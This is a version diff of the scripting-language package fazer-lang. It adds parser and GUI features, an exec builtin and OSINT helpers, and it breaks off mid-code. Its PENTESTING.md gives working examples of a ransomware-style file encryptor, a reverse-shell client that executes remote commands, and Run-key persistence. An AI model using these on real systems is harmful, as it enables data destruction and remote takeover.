fazer-lang 2.4.0 → 2.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +11 -11
- package/docs/GUIDE.md +249 -0
- package/docs/PENTESTING.md +74 -0
- package/docs/README.md +3 -0
- package/fazer.js +518 -3
- package/package.json +5 -5
- package/tools/announce.fz +4 -4
package/README.md
CHANGED
|
@@ -39,25 +39,25 @@ Le dossier généré est **portable** : zippez-le et envoyez-le à n'importe qui
|
|
|
39
39
|
|
|
40
40
|
## Documentation
|
|
41
41
|
|
|
42
|
-
|
|
42
|
+
🎓 **[NOUVEAU : Le Guide Ultime (A-Z)](docs/GUIDE.md)** - Commencez ici ! C'est la ressource la plus complète pour apprendre Fazer.
|
|
43
43
|
|
|
44
|
-
|
|
45
|
-
* [
|
|
46
|
-
* [
|
|
47
|
-
* [
|
|
44
|
+
Documentation détaillée par section :
|
|
45
|
+
* [Guide de Démarrage](docs/getting-started.md)
|
|
46
|
+
* [Syntaxe du Langage](docs/syntax.md)
|
|
47
|
+
* [Bibliothèque Standard (Stdlib)](docs/stdlib.md)
|
|
48
|
+
* [Exemples](docs/examples.md)
|
|
48
49
|
|
|
49
50
|
## Fonctionnalités Clés
|
|
50
51
|
|
|
51
|
-
* **GUI Native** : Créez de vraies applications Windows (WinForms) avec widgets natifs
|
|
52
|
+
* **GUI Native** : Créez de vraies applications Windows (WinForms) avec widgets natifs.
|
|
53
|
+
* **Red Team Ready** : Module de sécurité offensive natif (Crypto, Registre, Reverse Shell, Scan).
|
|
52
54
|
* **Pipe Operator (`->>`)** : Enchaînez les opérations proprement.
|
|
53
55
|
* **Pattern Matching (`case`)** : Contrôle de flux expressif.
|
|
54
|
-
* **
|
|
56
|
+
* **Portable** : Compilation en `.exe` natif avec support d'icônes.
|
|
55
57
|
* **Réseau & Web** : Client HTTP `fetch`, serveur web `server`, et module `discord`.
|
|
56
|
-
* **Système
|
|
57
|
-
* **Automation** : Gestion du presse-papier (`clipboard`), notifications (`notify`), et persistance (`db`).
|
|
58
|
-
* **Extensible** : Système de modules `import`.
|
|
58
|
+
* **Système** : Manipulation fichiers, processus et presse-papier.
|
|
59
59
|
|
|
60
60
|
## Copyright
|
|
61
61
|
|
|
62
|
-
©
|
|
62
|
+
© 2026 **L'EMPRISE**. Tous droits réservés.
|
|
63
63
|
Distribué sous licence MIT.
|
package/docs/GUIDE.md
ADDED
|
@@ -0,0 +1,249 @@
|
|
|
1
|
+
# Le Guide Ultime de Fazer (A-Z) - Édition 2.5
|
|
2
|
+
|
|
3
|
+
Bienvenue dans l'univers de **Fazer**. Ce guide a été conçu pour vous accompagner de vos premières lignes de code jusqu'à la maîtrise des fonctionnalités les plus avancées (Pentest, GUI, Réseau).
|
|
4
|
+
|
|
5
|
+
Que vous soyez un débutant complet ou un développeur expérimenté, ce manuel est votre référence.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## 📚 Table des Matières
|
|
10
|
+
|
|
11
|
+
1. [Module 1 : Premiers Pas & Installation](#module-1--premiers-pas--installation)
|
|
12
|
+
2. [Module 2 : Les Bases du Langage](#module-2--les-bases-du-langage)
|
|
13
|
+
3. [Module 3 : Contrôle du Flux (Logique)](#module-3--contrôle-du-flux-logique)
|
|
14
|
+
4. [Module 4 : Fonctions & Organisation](#module-4--fonctions--organisation)
|
|
15
|
+
5. [Module 5 : Manipulation de Fichiers & Système](#module-5--manipulation-de-fichiers--système)
|
|
16
|
+
6. [Module 6 : Interfaces Graphiques (GUI)](#module-6--interfaces-graphiques-gui)
|
|
17
|
+
7. [Module 7 : Réseau & Web](#module-7--réseau--web)
|
|
18
|
+
8. [Module 8 : Cybersécurité & Red Team](#module-8--cybersécurité--red-team)
|
|
19
|
+
9. [Annexe : Compiler en .EXE](#annexe--compiler-en-exe)
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Module 1 : Premiers Pas & Installation
|
|
24
|
+
|
|
25
|
+
### C'est quoi Fazer ?
|
|
26
|
+
Fazer est un langage de programmation moderne, simple et puissant. Il est "batteries included", ce qui signifie qu'il contient déjà tout ce qu'il faut pour créer des applications graphiques, des outils réseaux, ou des scripts d'automatisation sans rien installer d'autre.
|
|
27
|
+
|
|
28
|
+
### Installation
|
|
29
|
+
1. **Téléchargez** le dossier `fazer-lang`.
|
|
30
|
+
2. **Exécutez** le script `install_system.ps1` (double-clic).
|
|
31
|
+
3. C'est tout ! Ouvrez un terminal et tapez `fazer` pour vérifier.
|
|
32
|
+
|
|
33
|
+
### Votre Premier Script ("Hello World")
|
|
34
|
+
Créez un fichier nommé `hello.fz` :
|
|
35
|
+
|
|
36
|
+
```fazer
|
|
37
|
+
print("Bienvenue sur Fazer !")
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
Lancez-le :
|
|
41
|
+
```bash
|
|
42
|
+
fazer hello.fz
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Module 2 : Les Bases du Langage
|
|
48
|
+
|
|
49
|
+
### Variables
|
|
50
|
+
En Fazer, on utilise `:=` pour créer une variable.
|
|
51
|
+
* Par défaut, une variable ne peut pas changer (elle est **constante**).
|
|
52
|
+
* Si vous voulez la modifier, utilisez le mot-clé `mut`.
|
|
53
|
+
|
|
54
|
+
```fazer
|
|
55
|
+
# Constante (ne bougera pas)
|
|
56
|
+
nom := "Fazer"
|
|
57
|
+
|
|
58
|
+
# Variable (peut changer)
|
|
59
|
+
mut score := 0
|
|
60
|
+
score := score + 10
|
|
61
|
+
print(score) # Affiche 10
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### Types de Données
|
|
65
|
+
Fazer gère les types automatiquement :
|
|
66
|
+
* `"Texte"` (String)
|
|
67
|
+
* `42` ou `3.14` (Number)
|
|
68
|
+
* `true` / `false` (Boolean)
|
|
69
|
+
* `[1, 2, 3]` (List / Tableau)
|
|
70
|
+
* `{ "nom": "Jean", "age": 20 }` (Map / Objet)
|
|
71
|
+
|
|
72
|
+
### L'Opérateur Pipe (`->>`)
|
|
73
|
+
C'est la signature de Fazer. Il permet de passer une valeur à la fonction suivante, comme un tuyau.
|
|
74
|
+
|
|
75
|
+
```fazer
|
|
76
|
+
# Méthode classique
|
|
77
|
+
print(str_upper("bonjour"))
|
|
78
|
+
|
|
79
|
+
# Méthode Fazer (Pipe)
|
|
80
|
+
"bonjour" ->> str_upper ->> print
|
|
81
|
+
```
|
|
82
|
+
*Lecture : Prends "bonjour", mets-le en majuscules, puis affiche-le.*
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## Module 3 : Contrôle du Flux (Logique)
|
|
87
|
+
|
|
88
|
+
### Les Conditions (`if`)
|
|
89
|
+
Fazer utilise des flèches `->` pour délimiter les blocs de code, et `end` pour finir.
|
|
90
|
+
|
|
91
|
+
```fazer
|
|
92
|
+
age := 18
|
|
93
|
+
|
|
94
|
+
if age >= 18 ->
|
|
95
|
+
print("Majeur")
|
|
96
|
+
end
|
|
97
|
+
else ->
|
|
98
|
+
print("Mineur")
|
|
99
|
+
end
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### Les Boucles (`while`)
|
|
103
|
+
Pour répéter une action tant qu'une condition est vraie.
|
|
104
|
+
|
|
105
|
+
```fazer
|
|
106
|
+
mut i := 0
|
|
107
|
+
|
|
108
|
+
while i < 5 ->
|
|
109
|
+
print("Compteur : " + i)
|
|
110
|
+
i := i + 1
|
|
111
|
+
end
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## Module 4 : Fonctions & Organisation
|
|
117
|
+
|
|
118
|
+
### Créer une Fonction
|
|
119
|
+
Une fonction est un bloc de code réutilisable.
|
|
120
|
+
|
|
121
|
+
```fazer
|
|
122
|
+
fn dire_bonjour(nom) ->
|
|
123
|
+
msg := "Salut " + nom + " !"
|
|
124
|
+
return msg
|
|
125
|
+
end
|
|
126
|
+
|
|
127
|
+
res := dire_bonjour("Alice")
|
|
128
|
+
print(res)
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### Fonctions Anonymes (Lambdas)
|
|
132
|
+
Très utiles pour les événements (GUI, Serveurs).
|
|
133
|
+
|
|
134
|
+
```fazer
|
|
135
|
+
ma_fonction := fn(x) -> x * 2 end
|
|
136
|
+
print(ma_fonction(10)) # 20
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## Module 5 : Manipulation de Fichiers & Système
|
|
142
|
+
|
|
143
|
+
Fazer brille pour l'automatisation système.
|
|
144
|
+
|
|
145
|
+
### Lire et Écrire
|
|
146
|
+
```fazer
|
|
147
|
+
# Écrire
|
|
148
|
+
fs_write("test.txt", "Contenu du fichier")
|
|
149
|
+
|
|
150
|
+
# Lire
|
|
151
|
+
contenu := fs_read("test.txt")
|
|
152
|
+
print(contenu)
|
|
153
|
+
|
|
154
|
+
# Vérifier existence
|
|
155
|
+
if fs_exists("test.txt") -> print("Fichier trouvé !") end
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
### Parcourir des Dossiers (Nouveau 2.5)
|
|
159
|
+
```fazer
|
|
160
|
+
fichiers := walk_dir(".") # Liste récursivement tout le dossier actuel
|
|
161
|
+
print("Fichiers trouvés : " + fichiers.length)
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
### Exécuter des Commandes Système
|
|
165
|
+
```fazer
|
|
166
|
+
# Lance une commande et récupère la sortie
|
|
167
|
+
ip := exec("ipconfig")
|
|
168
|
+
print(ip)
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Module 6 : Interfaces Graphiques (GUI)
|
|
174
|
+
|
|
175
|
+
Créez des fenêtres Windows natives en quelques lignes.
|
|
176
|
+
|
|
177
|
+
```fazer
|
|
178
|
+
config := {
|
|
179
|
+
title: "Ma App Fazer",
|
|
180
|
+
w: 400, h: 300,
|
|
181
|
+
icon: "app.ico" # Support des icônes !
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
# Définition des widgets
|
|
185
|
+
widgets := [
|
|
186
|
+
{ id: "lbl", type: "label", text: "Bienvenue !", x: 10, y: 10, w: 200, h: 30 },
|
|
187
|
+
{ id: "btn", type: "button", text: "Cliquez-moi", x: 10, y: 50, w: 120, h: 40 }
|
|
188
|
+
]
|
|
189
|
+
|
|
190
|
+
# Gestionnaire d'événements
|
|
191
|
+
fn handler(id, event, data) ->
|
|
192
|
+
if id == "btn" ->
|
|
193
|
+
notify("Succès", "Vous avez cliqué !")
|
|
194
|
+
end
|
|
195
|
+
end
|
|
196
|
+
|
|
197
|
+
# Lancer la fenêtre
|
|
198
|
+
window(config, widgets, handler)
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## Module 7 : Réseau & Web
|
|
204
|
+
|
|
205
|
+
### Serveur Web Express
|
|
206
|
+
Créez un serveur HTTP en une ligne.
|
|
207
|
+
|
|
208
|
+
```fazer
|
|
209
|
+
fn mon_site(req) ->
|
|
210
|
+
return "<h1>Site propulsé par Fazer</h1>"
|
|
211
|
+
end
|
|
212
|
+
|
|
213
|
+
# Écoute sur le port 8080
|
|
214
|
+
http_server(8080, mon_site)
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
### Client HTTP
|
|
218
|
+
```fazer
|
|
219
|
+
page := fetch("https://google.com")
|
|
220
|
+
print(page.status)
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
## Module 8 : Cybersécurité & Red Team
|
|
226
|
+
|
|
227
|
+
**Nouveauté 2.5** : Fazer intègre des outils natifs pour le Pentest et la simulation d'attaques (autorisées).
|
|
228
|
+
|
|
229
|
+
> ⚠️ **AVERTISSEMENT** : Usage éducatif et autorisé uniquement.
|
|
230
|
+
|
|
231
|
+
### Fonctionnalités Clés
|
|
232
|
+
* **Chiffrement** : `encrypt_file("secret.txt", "clé")` (AES-256)
|
|
233
|
+
* **Registre Windows** : `registry_set`, `registry_get` (Persistance)
|
|
234
|
+
* **Reverse Shell** : `tcp_connect` (Client TCP brut)
|
|
235
|
+
* **Fond d'écran** : `set_wallpaper("hacked.jpg")`
|
|
236
|
+
|
|
237
|
+
*Pour un guide détaillé sur ces fonctions, consultez le fichier `PENTESTING.md`.*
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## Annexe : Compiler en .EXE
|
|
242
|
+
|
|
243
|
+
Transformez n'importe quel script `.fz` en un exécutable Windows autonome `.exe` que vous pouvez partager.
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
fazer build mon_script.fz
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
L'exécutable sera généré dans le dossier `dist/`. Il contient tout le nécessaire pour fonctionner sans installer Fazer sur la machine cible.
|
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
# Guide de Développement Pentest & Red Team avec Fazer
|
|
2
|
+
|
|
3
|
+
> **AVERTISSEMENT** : Ce module est destiné à des fins éducatives et de test de sécurité autorisé uniquement. L'auteur décline toute responsabilité en cas d'utilisation malveillante.
|
|
4
|
+
|
|
5
|
+
Fazer intègre des fonctionnalités natives puissantes permettant de développer des outils de sécurité offensive (Red Team), de simulation de malware (Ransomware, RAT) et d'administration système avancée.
|
|
6
|
+
|
|
7
|
+
## 1. Simulation de Ransomware (Crypto)
|
|
8
|
+
|
|
9
|
+
Fazer utilise le chiffrement **AES-256-CBC** pour sécuriser les fichiers.
|
|
10
|
+
|
|
11
|
+
### API
|
|
12
|
+
* `encrypt_file(path, key)` : Chiffre un fichier. Génère un fichier `.enc` avec l'IV préfixé.
|
|
13
|
+
* `decrypt_file(path, key)` : Déchiffre un fichier `.enc`.
|
|
14
|
+
* `walk_dir(path)` : Liste récursivement tous les fichiers d'un dossier.
|
|
15
|
+
|
|
16
|
+
### Exemple
|
|
17
|
+
```fazer
|
|
18
|
+
key := "MA_CLE_SECURE_256_BITS"
|
|
19
|
+
files := walk_dir("C:\\Documents\\Confidentiel")
|
|
20
|
+
|
|
21
|
+
# Chiffrer tout
|
|
22
|
+
i := 0
|
|
23
|
+
while i < files.length ->
|
|
24
|
+
encrypt_file(files[i], key)
|
|
25
|
+
i := i + 1
|
|
26
|
+
end
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
## 2. Remote Access Trojan (RAT) / Reverse Shell
|
|
30
|
+
|
|
31
|
+
Vous pouvez créer des clients TCP capables de recevoir des commandes distantes et d'exécuter du code.
|
|
32
|
+
|
|
33
|
+
### API
|
|
34
|
+
* `tcp_connect(host, port, handler)` : Se connecte à un serveur C2 (Command & Control).
|
|
35
|
+
* `handler` : Une fonction qui reçoit les données brutes (commandes).
|
|
36
|
+
* Retourne un objet client avec `.send(data)` et `.close()`.
|
|
37
|
+
|
|
38
|
+
### Exemple (Client)
|
|
39
|
+
```fazer
|
|
40
|
+
fn on_data(cmd) ->
|
|
41
|
+
# Exécuter la commande reçue dans le shell système
|
|
42
|
+
result := exec(cmd)
|
|
43
|
+
return result
|
|
44
|
+
end
|
|
45
|
+
|
|
46
|
+
client := tcp_connect("192.168.1.10", 4444, on_data)
|
|
47
|
+
client.send("Bot connecté !\n")
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
Pour tester, lancez un listener Netcat sur votre machine attaquante : `nc -lvp 4444`.
|
|
51
|
+
|
|
52
|
+
## 3. Persistance et Registre (Windows)
|
|
53
|
+
|
|
54
|
+
Manipulez le registre Windows pour assurer la persistance de vos outils au démarrage.
|
|
55
|
+
|
|
56
|
+
### API
|
|
57
|
+
* `registry_get(key, name)` : Lit une valeur du registre.
|
|
58
|
+
* `registry_set(key, name, value)` : Écrit une valeur (String).
|
|
59
|
+
|
|
60
|
+
### Exemple (Run Key)
|
|
61
|
+
```fazer
|
|
62
|
+
key := "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
63
|
+
registry_set(key, "MonMalware", "C:\\Chemin\\vers\\app.exe")
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
## 4. Pranks & Divers
|
|
67
|
+
|
|
68
|
+
* `set_wallpaper(path)` : Change le fond d'écran (Windows uniquement).
|
|
69
|
+
* `screenshot(path)` : Prend une capture d'écran.
|
|
70
|
+
|
|
71
|
+
```fazer
|
|
72
|
+
set_wallpaper("C:\\hacked.jpg")
|
|
73
|
+
screenshot("capture.png")
|
|
74
|
+
```
|
package/docs/README.md
CHANGED
|
@@ -4,6 +4,9 @@ Bienvenue dans la documentation officielle du langage **Fazer**.
|
|
|
4
4
|
|
|
5
5
|
## Table des Matières
|
|
6
6
|
|
|
7
|
+
0. **[NOUVEAU : Le Guide Ultime (A-Z)](./GUIDE.md)**
|
|
8
|
+
* Le point de départ idéal pour tout apprendre d'un coup.
|
|
9
|
+
|
|
7
10
|
1. **[Guide de Démarrage](./getting-started.md)**
|
|
8
11
|
* Installation
|
|
9
12
|
* Votre premier script
|
package/fazer.js
CHANGED
|
@@ -26,11 +26,15 @@ const Arrow = createToken({ name: "Arrow", pattern: /->|→/ });
|
|
|
26
26
|
const DoublePipe = createToken({ name: "DoublePipe", pattern: /->>|\|>|→>/ });
|
|
27
27
|
|
|
28
28
|
const Case = createToken({ name: "Case", pattern: /case\b/ });
|
|
29
|
+
const If = createToken({ name: "If", pattern: /if\b/ });
|
|
29
30
|
const Else = createToken({ name: "Else", pattern: /else\b/ });
|
|
30
31
|
const End = createToken({ name: "End", pattern: /end\b/ });
|
|
31
32
|
|
|
32
33
|
const Fn = createToken({ name: "Fn", pattern: /fn\b/ });
|
|
33
34
|
const Return = createToken({ name: "Return", pattern: /return\b/ });
|
|
35
|
+
const While = createToken({ name: "While", pattern: /while\b/ });
|
|
36
|
+
const Try = createToken({ name: "Try", pattern: /try\b/ });
|
|
37
|
+
const Catch = createToken({ name: "Catch", pattern: /catch\b/ });
|
|
34
38
|
const Mut = createToken({ name: "Mut", pattern: /mut\b/ });
|
|
35
39
|
|
|
36
40
|
const True = createToken({ name: "True", pattern: /true\b/ });
|
|
@@ -87,11 +91,15 @@ const allTokens = [
|
|
|
87
91
|
Arrow,
|
|
88
92
|
|
|
89
93
|
Case,
|
|
94
|
+
If,
|
|
90
95
|
Else,
|
|
91
96
|
End,
|
|
92
97
|
|
|
93
98
|
Fn,
|
|
94
99
|
Return,
|
|
100
|
+
While,
|
|
101
|
+
Try,
|
|
102
|
+
Catch,
|
|
95
103
|
Mut,
|
|
96
104
|
|
|
97
105
|
True,
|
|
@@ -158,6 +166,9 @@ class FazerParser extends EmbeddedActionsParser {
|
|
|
158
166
|
$.OR([
|
|
159
167
|
{ ALT: () => $.SUBRULE($.fnDef) },
|
|
160
168
|
{ ALT: () => $.SUBRULE($.returnStmt) },
|
|
169
|
+
{ ALT: () => $.SUBRULE($.ifStmt) },
|
|
170
|
+
{ ALT: () => $.SUBRULE($.whileStmt) },
|
|
171
|
+
{ ALT: () => $.SUBRULE($.tryStmt) },
|
|
161
172
|
{
|
|
162
173
|
GATE: () => {
|
|
163
174
|
const t1 = $.LA(1).tokenType;
|
|
@@ -196,6 +207,39 @@ class FazerParser extends EmbeddedActionsParser {
|
|
|
196
207
|
return node("return", { value: value ?? node("null", {}), loc: locOf(tok) });
|
|
197
208
|
});
|
|
198
209
|
|
|
210
|
+
$.RULE("ifStmt", () => {
|
|
211
|
+
const tok = $.CONSUME(If);
|
|
212
|
+
const expr = $.SUBRULE($.expression);
|
|
213
|
+
$.CONSUME(Arrow);
|
|
214
|
+
const thenBlock = $.SUBRULE($.block);
|
|
215
|
+
let elseBlock = null;
|
|
216
|
+
$.OPTION(() => {
|
|
217
|
+
$.CONSUME(Else);
|
|
218
|
+
$.CONSUME2(Arrow);
|
|
219
|
+
elseBlock = $.SUBRULE2($.block);
|
|
220
|
+
});
|
|
221
|
+
return node("if", { expr, thenBlock, elseBlock, loc: locOf(tok) });
|
|
222
|
+
});
|
|
223
|
+
|
|
224
|
+
$.RULE("whileStmt", () => {
|
|
225
|
+
const tok = $.CONSUME(While);
|
|
226
|
+
const expr = $.SUBRULE($.expression);
|
|
227
|
+
$.CONSUME(Arrow);
|
|
228
|
+
const body = $.SUBRULE($.block);
|
|
229
|
+
return node("while", { expr, body, loc: locOf(tok) });
|
|
230
|
+
});
|
|
231
|
+
|
|
232
|
+
$.RULE("tryStmt", () => {
|
|
233
|
+
const tok = $.CONSUME(Try);
|
|
234
|
+
$.CONSUME(Arrow);
|
|
235
|
+
const tryBlock = $.SUBRULE($.block);
|
|
236
|
+
$.CONSUME(Catch);
|
|
237
|
+
const errVar = $.CONSUME(Identifier).image;
|
|
238
|
+
$.CONSUME2(Arrow);
|
|
239
|
+
const catchBlock = $.SUBRULE2($.block);
|
|
240
|
+
return node("try", { tryBlock, catchBlock, errVar, loc: locOf(tok) });
|
|
241
|
+
});
|
|
242
|
+
|
|
199
243
|
$.RULE("assignStmt", () => {
|
|
200
244
|
const mutTok = $.OPTION(() => $.CONSUME(Mut));
|
|
201
245
|
const idTok = $.CONSUME(Identifier);
|
|
@@ -1145,6 +1189,28 @@ class FazerRuntime {
|
|
|
1145
1189
|
this.native_ui_state.widgets.push({ type: 'widget', cls: 'TextBox', id, text, x, y, w, h });
|
|
1146
1190
|
return id;
|
|
1147
1191
|
},
|
|
1192
|
+
|
|
1193
|
+
textarea: (id, text, x, y, w, h) => {
|
|
1194
|
+
this.native_ui_state.widgets.push({ type: 'widget', cls: 'RichTextBox', id, text, x, y, w, h });
|
|
1195
|
+
return id;
|
|
1196
|
+
},
|
|
1197
|
+
|
|
1198
|
+
checkbox: (id, text, x, y, w, h) => {
|
|
1199
|
+
this.native_ui_state.widgets.push({ type: 'widget', cls: 'CheckBox', id, text, x, y, w, h });
|
|
1200
|
+
return id;
|
|
1201
|
+
},
|
|
1202
|
+
|
|
1203
|
+
progress: (id, val, x, y, w, h) => {
|
|
1204
|
+
this.native_ui_state.widgets.push({ type: 'widget', cls: 'ProgressBar', id, text: val, x, y, w, h });
|
|
1205
|
+
return id;
|
|
1206
|
+
},
|
|
1207
|
+
|
|
1208
|
+
combo: (id, items, x, y, w, h) => {
|
|
1209
|
+
// items should be comma separated string or list (handled in UI gen)
|
|
1210
|
+
const itemList = Array.isArray(items) ? items.join(",") : String(items);
|
|
1211
|
+
this.native_ui_state.widgets.push({ type: 'widget', cls: 'ComboBox', id, text: itemList, x, y, w, h });
|
|
1212
|
+
return id;
|
|
1213
|
+
},
|
|
1148
1214
|
|
|
1149
1215
|
set_text: (id, val) => {
|
|
1150
1216
|
if (!this.native_ui_state.updates.set_text) this.native_ui_state.updates.set_text = {};
|
|
@@ -1243,15 +1309,31 @@ class FazerRuntime {
|
|
|
1243
1309
|
|
|
1244
1310
|
for (const w of widgets) {
|
|
1245
1311
|
if (w.type === 'window') continue;
|
|
1312
|
+
let extra = "";
|
|
1313
|
+
let textProp = `$${w.id}.Text = "${w.text}"`;
|
|
1314
|
+
|
|
1315
|
+
if (w.cls === "ComboBox") {
|
|
1316
|
+
const items = String(w.text).split(",");
|
|
1317
|
+
extra = `$${w.id}.DropDownStyle = "DropDownList"\n`;
|
|
1318
|
+
items.forEach(i => {
|
|
1319
|
+
extra += `$${w.id}.Items.Add("${i.trim()}")\n`;
|
|
1320
|
+
});
|
|
1321
|
+
if(items.length > 0) extra += `$${w.id}.SelectedIndex = 0\n`;
|
|
1322
|
+
textProp = "";
|
|
1323
|
+
} else if (w.cls === "ProgressBar") {
|
|
1324
|
+
textProp = `$${w.id}.Value = ${Number(w.text) || 0}`;
|
|
1325
|
+
}
|
|
1326
|
+
|
|
1246
1327
|
ps += `
|
|
1247
1328
|
$${w.id} = New-Object System.Windows.Forms.${w.cls}
|
|
1248
1329
|
$${w.id}.Name = "${w.id}"
|
|
1249
|
-
|
|
1330
|
+
${textProp}
|
|
1250
1331
|
$${w.id}.Left = ${w.x}
|
|
1251
1332
|
$${w.id}.Top = ${w.y}
|
|
1252
1333
|
$${w.id}.Width = ${w.w}
|
|
1253
1334
|
$${w.id}.Height = ${w.h}
|
|
1254
1335
|
$${w.id}.Font = New-Object System.Drawing.Font("Segoe UI", 10)
|
|
1336
|
+
${extra}
|
|
1255
1337
|
`;
|
|
1256
1338
|
|
|
1257
1339
|
if (w.cls === 'Button') {
|
|
@@ -1261,13 +1343,25 @@ class FazerRuntime {
|
|
|
1261
1343
|
$${w.id}.FlatAppearance.BorderSize = 0
|
|
1262
1344
|
$${w.id}.Add_Click({ Send-Event "${w.id}" "click" "" })
|
|
1263
1345
|
`;
|
|
1264
|
-
} else if (w.cls === 'TextBox') {
|
|
1346
|
+
} else if (w.cls === 'TextBox' || w.cls === 'RichTextBox') {
|
|
1265
1347
|
ps += `
|
|
1266
1348
|
$${w.id}.BorderStyle = "FixedSingle"
|
|
1267
1349
|
$${w.id}.BackColor = [System.Drawing.Color]::FromArgb(50, 50, 50)
|
|
1268
1350
|
$${w.id}.ForeColor = [System.Drawing.Color]::White
|
|
1269
1351
|
$${w.id}.Add_TextChanged({ Send-Event "${w.id}" "change" $this.Text })
|
|
1270
1352
|
`;
|
|
1353
|
+
} else if (w.cls === 'CheckBox') {
|
|
1354
|
+
ps += `
|
|
1355
|
+
$${w.id}.ForeColor = [System.Drawing.Color]::White
|
|
1356
|
+
$${w.id}.Add_CheckedChanged({ Send-Event "${w.id}" "change" $this.Checked })
|
|
1357
|
+
`;
|
|
1358
|
+
} else if (w.cls === 'ComboBox') {
|
|
1359
|
+
ps += `
|
|
1360
|
+
$${w.id}.BackColor = [System.Drawing.Color]::FromArgb(50, 50, 50)
|
|
1361
|
+
$${w.id}.ForeColor = [System.Drawing.Color]::White
|
|
1362
|
+
$${w.id}.FlatStyle = "Flat"
|
|
1363
|
+
$${w.id}.Add_SelectedIndexChanged({ Send-Event "${w.id}" "change" $this.SelectedItem })
|
|
1364
|
+
`;
|
|
1271
1365
|
}
|
|
1272
1366
|
|
|
1273
1367
|
ps += `$form.Controls.Add($${w.id})\n`;
|
|
@@ -1289,6 +1383,12 @@ class FazerRuntime {
|
|
|
1289
1383
|
cwd: cwdFn,
|
|
1290
1384
|
input: (p) => builtins.ask(p),
|
|
1291
1385
|
nowMs: () => Date.now(),
|
|
1386
|
+
sleep: async (ms) => new Promise(r => setTimeout(r, Number(ms))),
|
|
1387
|
+
exec: (cmd) => {
|
|
1388
|
+
try {
|
|
1389
|
+
return require('child_process').execSync(String(cmd)).toString();
|
|
1390
|
+
} catch(e) { return "Error: " + e.message; }
|
|
1391
|
+
},
|
|
1292
1392
|
|
|
1293
1393
|
// --- EXTENDED FEATURES (Automation, State, DB) ---
|
|
1294
1394
|
|
|
@@ -1406,6 +1506,377 @@ class FazerRuntime {
|
|
|
1406
1506
|
round: (n) => Math.round(Number(n)),
|
|
1407
1507
|
floor: (n) => Math.floor(Number(n)),
|
|
1408
1508
|
ceil: (n) => Math.ceil(Number(n)),
|
|
1509
|
+
|
|
1510
|
+
fetch: async (url, opts = {}) => {
|
|
1511
|
+
const http_req = builtins.http_req;
|
|
1512
|
+
return await http_req(url, opts);
|
|
1513
|
+
},
|
|
1514
|
+
|
|
1515
|
+
// OSINT
|
|
1516
|
+
whois: async (domain) => {
|
|
1517
|
+
// Basic native TCP whois
|
|
1518
|
+
return new Promise((resolve) => {
|
|
1519
|
+
const net = require("net");
|
|
1520
|
+
const socket = new net.Socket();
|
|
1521
|
+
let data = "";
|
|
1522
|
+
socket.setTimeout(5000);
|
|
1523
|
+
socket.connect(43, "whois.iana.org", () => {
|
|
1524
|
+
socket.write(String(domain) + "\r\n");
|
|
1525
|
+
});
|
|
1526
|
+
socket.on('data', (chunk) => data += chunk.toString());
|
|
1527
|
+
socket.on('end', () => {
|
|
1528
|
+
// Try to follow referral if present (simple one-level redirection)
|
|
1529
|
+
const match = data.match(/refer:\s*([a-zA-Z0-9.-]+)/i);
|
|
1530
|
+
if (match && match[1] && match[1] !== "whois.iana.org") {
|
|
1531
|
+
// Query the referral
|
|
1532
|
+
const refHost = match[1];
|
|
1533
|
+
const s2 = new net.Socket();
|
|
1534
|
+
let d2 = "";
|
|
1535
|
+
s2.setTimeout(5000);
|
|
1536
|
+
s2.connect(43, refHost, () => {
|
|
1537
|
+
s2.write(String(domain) + "\r\n");
|
|
1538
|
+
});
|
|
1539
|
+
s2.on('data', (c) => d2 += c.toString());
|
|
1540
|
+
s2.on('end', () => resolve(d2));
|
|
1541
|
+
s2.on('error', () => resolve(data)); // Return IANA data if ref fails
|
|
1542
|
+
} else {
|
|
1543
|
+
resolve(data);
|
|
1544
|
+
}
|
|
1545
|
+
});
|
|
1546
|
+
socket.on('error', () => resolve("Error: Connection failed"));
|
|
1547
|
+
socket.on('timeout', () => { socket.destroy(); resolve("Error: Timeout"); });
|
|
1548
|
+
});
|
|
1549
|
+
},
|
|
1550
|
+
geoip: async (ip) => {
|
|
1551
|
+
// Using free IP-API (no key required for limited usage)
|
|
1552
|
+
try {
|
|
1553
|
+
const res = await builtins.http_req("http://ip-api.com/json/" + String(ip));
|
|
1554
|
+
return builtins.json_parse(res.body);
|
|
1555
|
+
} catch(e) { return null; }
|
|
1556
|
+
},
|
|
1557
|
+
html_extract: (html, tag) => {
|
|
1558
|
+
// Simple regex extraction (not a full DOM parser, but useful for lightweight scraping)
|
|
1559
|
+
// Usage: html_extract(source, "title") -> content
|
|
1560
|
+
const t = String(tag);
|
|
1561
|
+
